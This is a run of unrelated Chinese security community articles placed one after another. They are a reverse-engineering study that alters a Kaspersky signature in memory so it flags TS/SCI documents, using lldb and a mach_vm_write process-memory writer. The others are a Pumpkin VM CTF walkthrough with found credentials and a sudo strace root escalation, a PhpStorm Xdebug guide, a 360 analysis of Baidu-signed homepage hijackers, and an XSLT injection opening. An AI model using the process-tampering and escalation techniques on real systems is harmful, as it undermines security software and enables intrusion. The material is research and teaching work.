Output report format: 2.4 -- 32-bit process
VM page size: 4096 bytes
==== Non-writable regions for process 975
...
VM_ALLOCATE 0x12824000-0x13379000 [11.3M 7300K 7300K 4304K] r-x/rwx SM=PRV
在调试器中，我们可以通过“memory read”命令来转储这个内存，但在这里需要注意“-binary”标志：
(lldb) memory read --force --binary --outfile /tmp/signatures.bin 0x12824000 0x13379000 11882496 bytes written to '/tmp/signatures.bin'
在反汇编器中，打开转储后的二进制数据，并将其基址设置为0x12824000，就可以显示出与特征值相关的字符串和二进制代码：
至此，我们已经对卡巴斯基的特征值以及它们与反病毒引擎的交互有了一个非常好的理解。至少来说，我们已经掌握了生成用于检测机密文档签名所需的全部知识。
## 检测机密文档
反病毒引擎用于自动扫描恶意模式的文件（其中包括文档）。既然我们目前已经确定了卡巴斯基未加密签名和检测例程在内存中的位置，那么我们创建一个用于检测机密文档的特征值就不再那么困难。当然，如果一个反病毒软件公司想要这么做（或者被迫这么做），它们完全可以针对特定的客户端（目标用户）部署一个新的特征值，并用来持续检测这些文件。在本文，我们的目的仅仅是从技术角度展现这一点是完全可行的。这个新的“特征值”，会让反病毒引擎自动将包含特征值的加密文档标记出来。
在《Antivirus Hacker’s
Handbook》中，Joxean讨论了如何绕过卡巴斯基特征值检测机制，并尝试检测利用CVE-2010-3333漏洞加入恶意代码的文档。由于这一漏洞仅针对微软产品，所以我们可以将其作为一个非常合适的目标。
分析特征值检测例程
通过我们从内存中转储出来的特征值检测例程，我们在地址为0x13071230的位置找到了实现这个特征值逻辑的函数：
正如Joxean所指出的那样，该检测程序首先检查被扫描的文档是以富文本格式（RTF）头部“{rt”开始的，并且大小至少为0x5d00字节。以下伪代码详细展示了初始检查的过程：
//esi is an 'item object'
// +0 points to the start of the document being scanned
// +0xdc14 contains the length of the document
if ((*esi != '{\rt') || (*(esi + 0xdc14) <= 0x5d00))
{
//bail
}
随后，检测代码将从文档中读取数据块，并在这些数据块内扫描各种字符串，例如“dplineco”、“{sp2{sn1
pF”和“ments}”。如果上述字符串都可以在该文档中找到，则函数会返回0x1，这代表着特征值检测例程认为该文档属于恶意文件。
为了展示这一行为，我们需要实际扫描一个利用了CVE-2010-3333漏洞的恶意文件（该文件Hash值为deac10f97dd061780b186160c0be863a1ae00579）。但首先，我们在检测例程开始的地方设置一个断点，其具体地址为0x13071230：
(lldb) b 0x13071230
Breakpoint 1: address = 0x13071230
* thread #131, stop reason = breakpoint 1.1
frame #0: 0x13071230
-> 0x13071230: pushl %ebp
0x13071231: movl %esp, %ebp
0x13071233: subl $0x20, %esp
0x13071236: movl 0x12828164, %eax
Target 0: (kav) stopped.
在扫描文档的过程中，特征值检测程序的断点会被触发。在这里，我们可以转储它所需的参数（在$esp+4中），其参数是一个指向包含正在扫描文档信息的“项目对象”（Item
Object）指针。具体来说，我们可以在该对象的开始处看到文档对应的字节“{rtxa{…”，而在偏移量0xdc14的位置是文档的大小（0x00006e1e）：
(lldb) x/x $esp+4
0xb11c5f44: 0x79f6041c
(lldb) x/s 0x79f6041c
0x79f6041c: "{\rtxa{\ansi{\shp{
(lldb) x/x 0x79f6041c+0xdc14
0x79f6e030: 0x00006e1e
我们可以步进特征值检测函数，来确认所有需要寻找的字符串都成功被找到，这就意味着该文档将会被标记为CVE-2010-3333的恶意文件。
首先，检查该文档是否以“{\rt”（或者0x74725c7b）开头：
-> 0x13071244: cmpl $0x74725c7b, (%esi)
0x1307124a: pushl %edi
0x1307124b: jne notMalicious
(lldb) x/x $esi
0x79f6041c: 0x74725c7b
随后，检查文档的大小是否不小于0x5d00：
-> 0x13071251: cmpl $0x5d00, 0xdc14(%esi)
0x1307125b: jb notMalicious
(lldb) x/x $esi+0xdc14
0x79f6e030: 0x00006e1e
由于我们所扫描的文件是不小于0x5d00字节的RTF文档，因此将会继续检查文档页脚附近是否存在字符串“dplineco”。这一步是通过调用0x129fcc70的函数来完成的，该函数会扫描字符串中的一个字节块：
我们在0x1307128b的地方，即调用0x129fcc70的位置设置断点，并转储参数，让其显示出我们要查找的字符串（即“dplineco”）和要进行搜索的全部字节（即“necor0dplinecog0dplinecob0））））”）：
(lldb) x/4x $esp
0xb11c5f00: 0x79f6041c 0xb11c5f2c 0x00000008 0x79f617fc
(lldb) x/s 0xb11c5f2c
0xb11c5f2c: "dplineco"
(lldb) x/s 0x79f617fc
0x79f617fc: "necor0\dplinecog0\dplinecob0}}}}"
如果找到匹配项，则会继续检查“{sp2{sn1 pF”和“ments}”是否存在，检查过程会再次调用位于0x129fcc70的函数：
* thread #111, stop reason = breakpoint 3.1
-> 0x129fcc70: push ebp
0x129fcc71: mov ebp, esp
0x129fcc73: sub esp, 0x10c
0x129fcc79: mov eax, dword ptr [0x12828164]
Target 0: (kav) stopped.
(lldb) x/5x $esp
0xb11c5efc: 0x13071314 0x79f6041c 0xb11c5f1c 0x0000000d
0xb11c5f0c: 0x79f6181c
(lldb) x/s 0xb11c5f1c
0xb11c5f1c: "{\sp2{\sn1 pF"
(lldb) x/s 0x79f6181c
0x79f6181c: "ture1\levelold0\levelprev1\levelprevspace1\...{\sp2{\sn1 pF}...
* thread #111, stop reason = breakpoint 3.1
-> 0x129fcc70: push ebp
0x129fcc71: mov ebp, esp
0x129fcc73: sub esp, 0x10c
0x129fcc79: mov eax, dword ptr [0x12828164]
(lldb) x/5x $esp
0xb11c5efc: 0x1307132d 0x79f6041c 0xb11c5f2c 0x00000006
0xb11c5f0c: 0x79f6181c
(lldb) x/s 0xb11c5f2c
0xb11c5f2c: "ments}"
(lldb) x/s 0x79f6181c
0x79f6181c: "ture1\levelold0\levelprev1\levelprevspace1\...ments}...
由于我们此次扫描的文档，通过了上述所有的检查，全部特征均与特征库中内容相匹配，因此特征值检测例程将返回0x1，这就表明该文档疑似是恶意文件。
isMalicious:
1307134c mov eax, 0x1
...
13071357 mov esp, ebp
13071359 pop ebp
1307135a ret
在卡巴斯基的UI界面中，我们可以看到该文件确实被标记并隔离：
在全面了解这个特征值检测例程之后，我们就可以利用它来自动检测机密文件。
## 修改特征值实现检测机密文档
由美国政府分类的文件，通常包含分类标记。例如，包含敏感隔离信息的绝密文件会被标记为TS/SCI。我们将通过修改上文所述的CVE-2010-3333特征值，来让卡巴斯基有能力检测到这些文档。但是，如果反病毒软件公司想要检测这些文件，他们肯定会创建一个新的签名，在本文中，我们采取的是最简单的方式，也就是修改已有的特征值。具体而言，我们要将需要搜索的字符串（例如“ments”）改为文档中的分类标记（例如“TS/SCI”）。
需要强调的一点是，我们希望通过修改特征值来实现对机密文档的检测，而不是通过修改反病毒产品可执行代码的方式，无论是在磁盘上还是在内存中。其原因在于：
1、如果修改任何程序的可执行代码，这就是改变了产品的基本逻辑，而这样的做法并没有意义。并且，如果能够避免修改产品的可执行代码，我们就可以证明代码审计并不能减小我们将反病毒产品用在恶意用途的可能性。
2、在这个特定环境下，我们使用特征值来检测分类特征是否存在的这一过程将会被加上一定的约束条件，具体要看我们所选择原始特征值的可执行代码中包含的约束条件，原因在于卡巴斯基同时支持可执行代码和模式匹配。例如，我们示例中就限制了RTF文档的大小不小于0x5d00字节。在这里，还需要再次强调，一个希望（或者被迫）部署新特征值来检测机密文件的反病毒软件公司不会受到这些因素的限制。
3、在最后，我们成功创建了一个不可执行的检测特征值之后，为了文章的完整性，我们还额外举例讲解了如何创建一个更强大的特征值，该特征值需要对特征值检测的可执行代码进行修改（但不会触及反病毒引擎的核心代码，与1不冲突）。
将卡巴斯基中CVE-2010-3333的特征值修改为检测并隔离已分类文档的特征值，就像修改内存中的匹配模式一样简单。举例来说，我们可以将“ments”修改为“TS/SCI”。相应的修改，可以通过调试器（内存写入0x130a4d80
0x54 0x53 0x2f 0x53 0x43
0x49）来完成，也可以通过负责修改kav守护进程内存的外部进程来完成。在这里，我们采用后者，因为它不需要调试会话（Debugging
Session），所以可以以程序的方式来执行，同时还能证明特征值检测例程的地址是动态的。
要修改远程进程的内存，可以调用mach_vm_write() API。正如其名称所暗示的那样，这个函数可以在指定的偏移量处写入特定的字节。
苹果公司提供了一个函数定义的示例，但没有进一步提供更多细节：
kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
为了调用这个API，我们必须使用root账户，并且必须具有可以访问目标（远程）进程的任务。通过调用the
task_for_pid()方法可以获得上述访问权限。
下面的代码（基于@osxreverser的readmem项目编写）演示了如何利用这些API，将任意字节写入到远程进程的内存之中：
//write some bytes into a remote process
write_memory(pid_t pid, mach_vm_address_t address, vm_offset_t bytes, mach_msg_type_number_t size)
{
//task port
vm_map_t port = 0;
//get task for remote process
task_for_pid(mach_task_self(), pid, &port));
//suspend
task_suspend(port);
//write write write!
// assumes that memory is writable!
mach_vm_write(port, address, bytes, size);
//resume
task_resume(port);
}
通过此代码，我们现在可以修改kav守护进程中的特征匹配模式，例如在内存0x130a4d80处的“ments}”。
要检测包含敏感隔离信息的绝密文档，我们将特征值匹配模式对应的内存值更改为“TS/SCI”。通过调试器或mach_vm_read()
API重新读取远程内存，我们能够确认它已经成功被修改：
(lldb) x/s 0x130a4d80
0x130a4d80: "TS/SCI"
现在，卡巴斯基应该就可以自动标记和隔离任何包含此分类标记的文档。
## 用小熊维尼进行测试
在将特征值添加到卡巴斯基之后，我们进行一下测试。
小熊维尼是我们童年时代的一本经典漫画书，并不属于机密文档。但是，如果我们在其中添加“TS/SCI”分类标记，并将此改动通过保存的方式写入到文件系统（包括自动保存、手动保存或者文档关闭）时，文档将会被扫描，随后卡巴斯基发现该文档符合特征值，触发告警，该文件也随之被标记。
实验视频：
您的浏览器不支持video标签
目前，我们已经进行了一次成功的尝试，由此就可以证明，反病毒产品可以轻而易举地被用于检测机密文档。
虽然这个特征值是有效的，但是我们注意到它受到了特征值检测函数可执行代码的轻微“限制”。
比如说，代码首先会检查文档是否大于等于0x5d00字节，较小的机密文档将无法被检测到。
## 后续改进和优化
我们发现，通过修改特征值检测函数的可执行代码，就可以继续对这个特征值进行改进。
正如我们上文所说的那样，我们可以在不修改任何可执行代码的前提下创建特征值，接下来让我们看看如何修改可执行指令。
由于卡巴斯基会分发包含可执行代码（即自包含特征值检测例程）的特征信息，这些特征在运行时会动态链接到防病毒引擎内核中，因此还可以仅通过修改这些代码来实现。
也就是说，这一过程不会触及到反病毒引擎。
通过修改现有特征值检测例程的可执行代码，来实现对其的扩展，这种方法是非常直接的。针对本文中的例子，我们可以通过这种方法检测到任何大小的文档，不再受到0x5d00字节的限制。首先，在0x13071251（cmp
dword [esi + 0xdc14]，0x5d00）的位置，修改“检查文件”过程中负责比较的代码。
具体改动如下，修改后即可对全部文件（大小超过0字节）进行检测：
;scan any file over 0 bytes
;cmp file size, now with 0
cmp dword [esi+0xdc14], 0x0
;unlikely to have a negative sized file
;so this jump won't be taken ;)
jb notMalicious
我们只修改了该特征值检测例程的1-2个字节，就可以使防病毒引擎在文件中的任何地方（或在文件开始的位置）搜索分类标记。
当我们拥有这个新的特征值之后，即使是包含分类标志的基本文件，也会被自动标记并隔离。也就是说，该文件会从原始位置“删除”，并移入“隔离”的位置：
## 机密文档的收集
现在，我们需要考虑怎样去收集这些机密文档。如前文中所述，反病毒软件经常会收集可疑文件和被标记/被隔离的文件，并将它们上传到云端，以便进行更深入的分析。这样的功能，可以让反病毒产品的厂商对某个可疑文件进行更全面、更彻底的分析（与用户计算机相比），同时可以收集威胁情报，并且在整体上提高其产品的检测能力。
卡巴斯基将他们产品的公开收集功能称为“卡巴斯基安全网络（KSN）”他们认为：这样可以让卡巴斯基实验室快速收集新威胁的相关数据，从而开发出针对新威胁的有效防范方案。在KSN文档中，有这样一段内容：“卡巴斯基安全网络服务可能会处理并提交整个文件，如果文件中嵌入的对象包含恶意链接，可能会被攻击者利用，进而对系统或应用的功能产生破坏。因此，卡巴斯基实验室会对其进行额外的检查。”然而我们目前并不清楚，标记的文件是否会自动提交，以供进一步分析。此外，卡巴斯基在博客文章中特别指出，可能会上传检测为恶意的文件，并指出：“如果文件自身被检测出恶意软件，将会提交给卡巴斯基实验室进行分析，该分析由我们的一名分析人员手动进行。”
受研究时间所限，我并没有对卡巴斯基的文件收集功能进行逆向工程和进一步分析。并且，出于一些原因，我不希望与后端系统进行交互，所以我在分析用的虚拟机中禁用了网络连接，以确保新特征值标记的“小熊维尼”文档绝对不会被上传到俄罗斯。
最后，我有充分理由认为，任何具有收集功能的反病毒产品都能够自由地收集（上传）其产品所标记的文件。不过我们要再次强调，这个功能设计的初衷，是为了让产品拥有更强大的能力，而并不是为了窥探用户的隐私。
## 总结
在这篇文章中，我们展示了如何借助反病毒产品来检测机密文档的特征值。我想重申的是，尽管技术上确实可以，但并不代表着反病毒公司真的会这样做。而对于我们来说，可以将它当作一个有趣的逆向分析尝试。
但是，希望通过本文大家能够理解，任何防病毒产品都可以作为一个完美的网络间谍收集工具。而且由于它们的特征值是加密的，可能会被策略性地部署，会自动安装，包含可执行代码，并且通常与反病毒产品的源代码分离，这就使得用户难以甄别出哪些特征值是可疑的，甚至用户根本都无法查看到这些特征值。
非常有趣的是，在这篇文章发布之前，卡巴斯基刚好发表了一篇博客文章并提到了这种情况。卡巴斯基指出，他们的特征值创建过程很难通过“外部尝试”被篡改（例如被用来检测/收集机密文档）：
然而，任何一位反病毒产品所属公司的内部人员，都可能有权限去部署这样的特征值，并且很可能不会被发现。当然，如果该公司被某些组织强迫，或者与一个庞大的集团进行了合作，此时完全能够利用他们的产品，来暗中检测并利用任何感兴趣的文件。
有时候，善恶的分界，不是对立面，而是每个杀软中的一个特征值。 | 社区文章 |
# 靶机入侵——PumpkinGarden靶机+PumpkinRaising靶机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
hello大家好，我是d3ckx1 小号扣扣：6114157，最近工作真的是忙到飞起，今天终于有时间给大家更新靶机文章了。
## 靶机下载/安装
PumpkinGarden靶机：<https://pan.baidu.com/s/1PbX73TXWdI6fL3KuY6SrwA>
PumpkinRaising靶机：<https://pan.baidu.com/s/1wK5DxaFgXbBxEN2Sn69EUg>
PumpkinGarden靶机IP：172.16.24.87
PumpkinRaising靶机IP：192.168.6.138
## 实战
### PumpkinGarden靶机
第一步还是老规矩，nmap开路：
可以看到该靶机开放了3个端口，分别是21、1515、3535 端口。
可以看到ftp的21端口，存在匿名登陆，我们试一下
下载“note.txt”，查看一下：
下面我们继续跟进查看1515端口http服务，如图：
查看源码
说image里会有帮助，我们使用目录猜解工具跑一下吧，
出现“/img”目录，我们查看一下
继续跟进“hidden_sercret”
拿到base64的加密密文，解密一下看看
成功拿到账号密码：scarecrow – 5Qn@$y ，
下一步我们使用ssh登陆
成功登陆，下一步就是提权了
拿到“goblin”用户的密码，我们先看一下有没有“goblin”用户
在/home 目录下看到有“goblin”目录，说明有这个用户，下一步直接“su goblin”,输入密码就行，成功切换到了“goblin”用户
如上图，看到给了我们提权的参考bash文件，我们直接down下来，查看。
看到这个小伙伴们肯定有点懵，这个是什么鬼，怎么用。。。
好吧，其实具体操作是这样的，如图：
其实就是把上面代码复制一下，输入就行了。
然后下一步就是给该文件权限，执行就行。
但是靶机设置了/tmp的清除，所以我测试了好久，都被很快清理掉了，所以我就直接在本地写好，然后在靶机上下载这个文件，
然后执行，成功拿到root权限
拿到flag
本靶机完！
### PumpkinRaising靶机
1.老规矩，nmap探测目标
如图开放了2个端口，分别是80、22，查看80端口
2.如图：
获取到可疑用户名“jack”
3.习惯性右击查看源码，有发现
看到2个敏感信息，逐个查看
Base64解密该密文，发现就是个介绍说明，下一步继续更加 “pumpkin.html”
我们继续往下拉：
又是一个密文，先解密第一个
这是个典型的base32密文，小伙伴可以查看该文章地址：“<https://blog.csdn.net/mignonmi/article/details/81877568>
”
下一步继续下载跟进，“/scripts/spy.pcap”
逐个包里是“jack”、“mark”用户的对话信息，我们拿到了敏感ID：“50609”。
继续解密上面的那个密文，玩ctf的朋友肯定一眼就知道了，这是十进制加密
又得到一个ID，至于干嘛用的，我也不知道。。。。
4.下面继续回来查看“rebots.txt”
逐个查看
下载该图片，应该是ctf中常见的图片隐写技术，试一下看看
正常，继续，使用strgosuite工具查看
需要输入密码，那密码哪里等那？我们回到前面的另外文件文本目录查看
逐一作为密码尝试
成功拿到被隐写在图片内的文件，查看文件
5.下面继续下载查看跟进
可以看到是个Pretty Good Privacy ，使用命令解密：
但是要密码
这里我被卡了很久，试了好多目标的密码都不行，最后在首页上的
组合起来得到正确的密码：SEEDWATERSUNLIGHT （简直了。。。。）
成功打开后，但是这又是什么密文那？
如果是经常打ctf的 小伙伴肯定就知道了，没错这就是摩斯电码，
成功解密
到现在为止一共得到4个ID：“50609”、“96454”、“86568”、“69507”
下一步如果没猜错的话，这个可能跟上面的密码组合一样，几个ID合起来可能是“jack”或者“mark”的密码，结果多次组合尝试，最后的密码是：“69507506099645486568”
下一步提权
可以看到 “/usr/bin/strace” 可不需要密码执行，然后我们的提权步骤是这样的，
如图：
成功拿到root权限和flag！
本靶机完！！！ | 社区文章 |
作者：[ **廖新喜**](http://xxlegend.com)
原文地址：[PhpStorm
Xdebug远程调试环境搭建原理分析及问题排查](http://xxlegend.com/2017/05/23/PhpStorm%20Xdebug%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E5%8F%8A%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5/)
网上关于 phpstorm
调试的文章很多，真实实践过的不多，都是几篇文章转来转去，没有原理分析，甚至有些文章的配置文件都是错的，我就是按照一篇错误的配置一路走过来的，不过好歹把这些坑都给埋了，这篇文章不仅仅有操作，还有原理分析，更有问题排查思路。
对于简单的工程，直接`print_r();exit()`已经足够，但是对于大型项目有时就有点力不从心，如果直接将 apache 部署在本地，phpstorm
调试本地代码这种方式也可以，我以前就是这么干的，这篇文章主要介绍远程调试系问题排除。
### 一. 环境介绍
本地：windows7（192.168..）+ phpstorm8
远程：Ubuntu14.04（192.168.3.206）+ apache2 + php5
### 二. 远程环境配置
###### 2.2 Xdebug安装
Ubuntu下直接apt-get安装，安装命令如下：`apt-get install php5-xdebug`
###### 2.3 配置
首先通过locate定位到 xdebug.ini，这个位置一定得对，在 Ubuntu
上位于`/etc/php5/apache2/conf.d/20-xdebug.ini`
zend_extension=xdebug.so
xdebug.idekey=PHPSTORM
xdebug.remote_connect_back = 1
；//如果开启此，将忽略下面的 xdebug.remote_host 的参数
；xdebug.remote_host=192.168.x.x
; //注意这里是，客户端的ip<即IDE的机器的ip,不是你的web server>
xdebug.remote_enable=on
xdebug.remote_port = 9001
;//注意这里是，客户端的端口<即IDE的机器的ip,不是你的web server>
xdebug.remote_handler = dbgp
xdebug.auto_trace = 1
xdebug.remote_log = /tmp/xdebug.log
### 三. 本地phpstorm配置
下面的配置有执行顺序要求，请一步一步来。
###### 3.1 下载远程代码
phpstorm在新建项目的时候提供了选项，可以通过ftp/sftp远程下载代码，直接按照提示下一步下一步就可以。
###### 3.2 添加php解释器
通过file->settings->Languages & Frameworks找到php栏。
###### 3.3 配置Debug
路径还是在file->settings->Languages &
Frameworks->PHP，选择Debug，选择要监听的端口，这里设置为9001，如图所示：
设置完端口还需要设置DBGp Proxy，配置如下：
在设置完Debug页面后，在DBGp Proxy页面的端口已经确定，添加上IDE
key为刚才Xdebug配置文件设置的key:PHPSTORM,Host则为要调试的远程主机。
###### 3.4 配置Server
通过`file->settings->Languages Frameworks->PHP`找到Servers，Host对应远程主机IP, Debugger
选用 Xdebug ，如果是远程调试，一定得开启路径映射功能，否则无法调试，本地的路径不用选，在新建远程项目的时候就已经确定，Absolute path
on the server 则是远程主机的 Web 路径。在途中红框上方有一个 Validate remote environment 可以用来验证远程的
Xdebug 配置，如果配置明显不对的话，会有提示信息，可按照提示信息修改远程服务器的 Xdebug 配置。
###### 3.5 配置调试选项
由于调试的目标是一个项目，所以这里需要设置PHP Web Application，配置中Server：远程目标主机，Start
URL设为/,设置完之后会在左侧新建一个PHP Web Application
到目前为止，该配置的都已经配置完成，这里面配置的选项比较多，一步一步配置，有顺序要求。配置完之后就是调试。点击下图右边红框中的小按钮，打开 Xdebug
监听，再选择我们要调试的目标，这里是server，最后点击那个调试按钮，就能开启调试之旅。
打开 Xdebug 监听的时候，可以看到IDE已经在本地建立监听服务，具体如下：
可以看到调试页面。如下所示
###### 3.6 浏览器添加书签或者Xdebug Helper
前面描述的是通过PHPStorm的 debug
按钮，发送类似`?XDEBUG_SESSION_START=17212`这种请求调起浏览器来达到调试的目的，但是这种方式只能调起首页，存在缺陷。下面介绍另外一种启动调试的方式，就是通过浏览器中带XDEBUG_SESSION
的cookie直接发起，可以安装Chrome插件Xdebug
Helper或者添加浏览器的调试插件、或书签来达到目的。新建书签的url：https://www.jetbrains.com/phpstorm/marklets/
, 这里就不再做示例，插件和书签的原理都是一样的，都是在cookie中添加XDEBUG_SESSION=PHPSTORM。
### 四. 数据流程
前面的配置完全是一个操作指南，如果仅仅是为了配置，上面的内容已经足够，但是如果配置中遇到什么问题，就需要接下来的原理分析。古人说的好，我们得知其然还得知其所以然。
###### 4.1 Xdebug工作原理
1. IDE（如PhpStorm）已经集成了一个遵循BGDP的Xdebug插件，当开启它的时候， 会在本地开一个Xdebug调试服务，监听在调试器中所设置的端口上，默认是9000，这个服务就会监听所有到9000端口的链接。在PhpStorm中，位于：工具栏 > Run > Start / Stop Listening for PHP Xdebug Connetions。
2. 当浏览器发送一个带 XDEBUG_SESSION_START 的参数的请求到服务器时，服务器接受后将其转到后端的php处理，如果php开启了xdebug模块，则会将debug信息转发到客户端IP的IDE的调试端口上。当参数或者cookie信息中不带 XDEBUG_SESSION_START ，则不会启动调试。这就为后续在浏览器中添加开关提供了可能。Xdebug的官方给出了一个示例图：很好的展示了相互调用关系。 这个示例图是绑定了ip，即使用了固定ip地址，xdebug.remote_connect_back = 0 ，也是 Xdebug 的默认方式，这种情况下，Xdebug 在收到调试通知时会读取配置 xdebug.remote_host 和 xdebug.remote_port ，默认是 localhost:9000，然后向这个端口发送通知，这种方式只适合单一客户端开发调试。
那从用户发起请求到，到IDE的整个流程图如下：
当用户的请求参数或者cookie中不带调试信息，数据流就是浏览器到Apache（或其他web容器）到PHP，如果加上了调试参数，则请求还会由PHP转给Xdebug处理，Xdebug再把信息转发给IDE，完成调试功能。
### 五. 问题分析
由于拷贝了错误的Xdebug参数，导致走了不少弯路，如果仅仅是为了配置PhpStorm及Xdebug原理，关注前面部分即可。下面主要分析排除过程。
错误的配置如下：
zend_extension=xdebug.so
xdebug.idekey=PHPSTORM
#xdebug.remote_connect_back = 1 //如果开启此，将忽略下面的 xdebug.remote_host 的参数
xdebug.remote_host=192.168.x.x //注意这里是，客户端的ip<即IDE的机器的ip,不是你的web server>
xdebug.remote_enable=on
xdebug.remote_port = 9001 //注意这里是，客户端的端口<即IDE的机器的ip,不是你的web server>
xdebug.remote_handler = dbgp
xdebug.auto_trace = 1
xdebug.collect_includes = 1
xdebug.collect_params = 1
;xdebug.collect_return = 1
xdebug.remote_autostart = 1
xdebug.remote_log = /tmp/xdebug.log
问题现象： Apache反应奇慢无比，一个普通请求能耗时10分钟，但是最终会有效应。
排查过程：
###### 5.1 问题背景
本地环境：Windows7，远程服务器：Ubuntu14.04，这个远程服务器是本地环境下VMWare
WorkStation下的一台虚拟机，网络连接方式是桥接。在调试远程项目时，作者使用的sftp来管理服务器的资源，这里面就会涉及到权限的问题。远程服务器只开了一个普通账户liaoxinxi，而/var/www
目录以前是root权限的，由于PhpStorm调试时会在远程服务器web目录下创建一个文件，这必然会导致权限问题，为了解决这个问题，执行`chmod
liaoxinxi:liaoxinxi /var/www
-R`将web目录修改为liaoxinxi用户所有。当然为了远程调试，我配置了xdebug.ini，这个配置参数当时也不是太清楚具体含义，比较着急，就从某篇号称亲手测试过可用的Xdebug环境拷贝而来。下午比较混沌，当时做过的操作还挺多，Xdebug这个配置我居然忘记我配过了，只记得修改了权限相关内容。重启Apache之后，web请求响应奇慢无比。
###### 5.2 疑问点
**5.2.1 权限**
当时一股脑的认为是权限的问题，就又把web目录权限全改为777，还是奇慢无比，查看apache日志也没有半点异常。
**5.2.2 网络**
无意之中发现在远程服务器上直接访问，很快就能得到响应。这个远程服务器是我VMware下的虚拟机，通过桥接模式与宿主机通信。中午与其他同事讨论这个问题的时候将问题排查点转移到网络环境。怀疑是网络的问题，将桥接模式改成NAT，又是重启虚拟机，重启宿主机，都不起作用。
**5.2.3 Apache配置**
于是又将矛盾转移到Apache的配置上，Apache的配置文件被我改动了很多回，当时觉得很简单所以没设置备份点，一个好的备份是多么重要。只能重装，这个在Ubuntu下还是很简单的，一条命令搞定`apt-get auto-remove --purge apache2`，并且删除了原有的配置文件。再通过apt-get重新安装，`apt-get install
apache2`,重启apache后发现在本地访问，很快得到响应，不过响应的都是原始的php文件，再安装一下libapache2php模块，安装完之后，响应还是一样的奇慢无比。难道跟这个模块有关系，但是找不到相关资料。再翻看安装apache2的输出信息时发现其重启了Xdebug模块，回想一下，是不是这些模块导致的问题呢？再仔细想想，那天下午好像还改了Xdebug的配置，可能有问题。
**5.2.4 Xdebug配置**
回到Xdebug的配置文件，其中一个配置`xdebug.remote_host=192.168.*.*
//`这个配置是用来，感觉峰回路转了，因为只有这个ip访问就会奇慢无比，于是注释掉，再重启apache访问，果然奇慢无比的问题解决了。
但是这又带来一个新的问题，这个ip是我的本地环境，如果不配置的话怎么调试呢？于是将//后边的内容用;注释起来，前期一直以为//也是个注释。//这种注释方式在Xdebug中不识别，所以根本不会向IDE所在机器发送调试包，会一直等到超时，所以就会特别慢。
再去调试，在index.php下断点，终于断下来了。调试的过程中发现，开启或者未开启调试参数都会直接进入调试模式，见了鬼了，回想起调试流程图，肯定出问题的地方在Xdebug的配置，打开配置文件，果然发现一个相关参数`xdebug.remote_autostart
= 1`，这个参数的意思就是自动打开远程调试，注释掉就能接收不使用Xdebug调试的参数。
说到最后不得不佩服这位兄弟，挖了两个大大的坑（[坑的位置](http://www.51testing.com/html/18/170218-3538738.html)），好歹我全埋了，提醒大家尽量找官方文档，如果官方文档写的不详细的，还是多见识见识几份文档。
综合来看，信息大爆炸的年代，干扰信息太多，各位见仁见智。
* * * | 社区文章 |
# 木马“盗用”百度签名篡改首页和收藏夹
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**最近 360反病毒团队接到用户反馈，说被莫名奇妙的修改了首页，同时浏览器的收藏夹里也莫名其妙的多出了很多收藏站点。**
**经过
360反病毒团队的排查，发现用户是误运行了广告程序导致的首页和收藏夹被篡改——这些年广告程序越来越多，本也不算稀奇，但令我们感到意外的是改首页和添加收藏夹的程序。**
先说说这个改首页的程序。
程序MD5：be7f33d7920e94e81710c0389c351b6f
数字签名：BeiJing Baidu Netcom Science Technology Co., Ltd
竟然是百度公司的签名，并加了UPX的压缩壳，而程序的产品名称更是令人费解（qingzao是什么鬼？）：
双击运行安装包，无需带任何特殊参数，安装包便会很自觉的在完全没有界面情况下静默运行，向WinHomeLocker目录下释放程序组件：
释放的全部文件如下，并且释放的全部可执行程序全都和安装包一样带有百度的数字签名并用UPX方式压缩，同时产品名称全都是qingzao：
文件名
|
MD5
---|---
uninstall.exe
|
4ff2ee2595dd81f40aa1f131f475c66d
locker64.exe
|
b0f5b9067d24fdf853a05c2578374739
locker32.exe
|
1e68bfc1c31ac16f90c9addb8186021d
HPHelper64.dll
|
0a467834433a93533686faa96df6014c
HPHelper32.dll
|
844024a1824981923d705ba26350110e
HomePageLocker.exe
|
1c50b75d3432718504026cf984bda1d3
HomeLockerUpdateServices.dll
|
74358740900f49f727aff515c45418de
文件释放完成后，还会通过调用系统的regsvr32.exe将程序目录下的HomeLockerUpdateServices.dll添加为服务：
添加服务后，会以“/update”为参数启动HomePageLocker.exe程序。
而HomePageLocker.exe比对启动参数时发现是update参数后，则执行指定的升级操作
到这个[www.microrui.net](http://www.microrui.net/)的域名下去获取更新信息
而同时被启动的，还有目录下的locker32.exe程序，该程序则会通过在线获取或读配置文件的方式获取改首页信息
同时会在每次浏览器打开的时候，向whtj.meijucenter.com发起统计打点信息。
当中涉及的两个域名均看不出和百度公司有任何关系。
microrui.net有一个名为“麦克罗锐”的上海备案，而whois信息显示注册人名为“WANGRUI” （根据注册邮箱反查应该是一个叫做“王锐”的人）
而另一个meijucenter.com则更加神秘——没有备案，注册信息也购买了隐私保护服务。
安装完成后，桌面和系统托盘上都看不到任何有程序被安装的痕迹，开始菜单里倒是能找到，只是位置稍有些奇葩，而且开始菜单中也没有提供卸载的快捷程序的方式。
点击程序之后……为什么程序标题被盖住了？为什么主页写了个360？你锁定的明明是hao123啊……深感疑惑。
再说说篡改收藏夹的程序。
程序MD5：bf74e8e97c78171eee87e06d264f0491
数字签名：BeiJing Baidu Netcom Science Technology Co., Ltd
同样的签名，虽说没加UPX的压缩壳，但产品名称同样看不懂：
该程序会在线获取配置文件，并对其解码得到要推广的网站列表和图标。
然后将获取到的url链接文件写到浏览器收藏夹中：
效果显著：
以上两个程序的出现完全出乎了我们的预料，完全无法理解为什么这两个有着如此多诡异行为的程序会被打上了百度公司的签名，希望百度公司能追查一下此事，看是否是有人利用职务之便给自己的程序打上了百度公司的签名谋取商业利益。 | 社区文章 |
# XSLT服务端注入攻击
XSLT漏洞对受影响的应用程序可能造成严重后果，通常的后果是导致远程执行代码。网络上公开exp的XSLT远程代码执行漏洞的例子有这么几个：CVE-2012-5357（影响.Net
Ektron CMS）、CVE-2012-1592（影响Apache Struts 2.0）、CVE-2005-3757（影响Google Search
Appliance）。
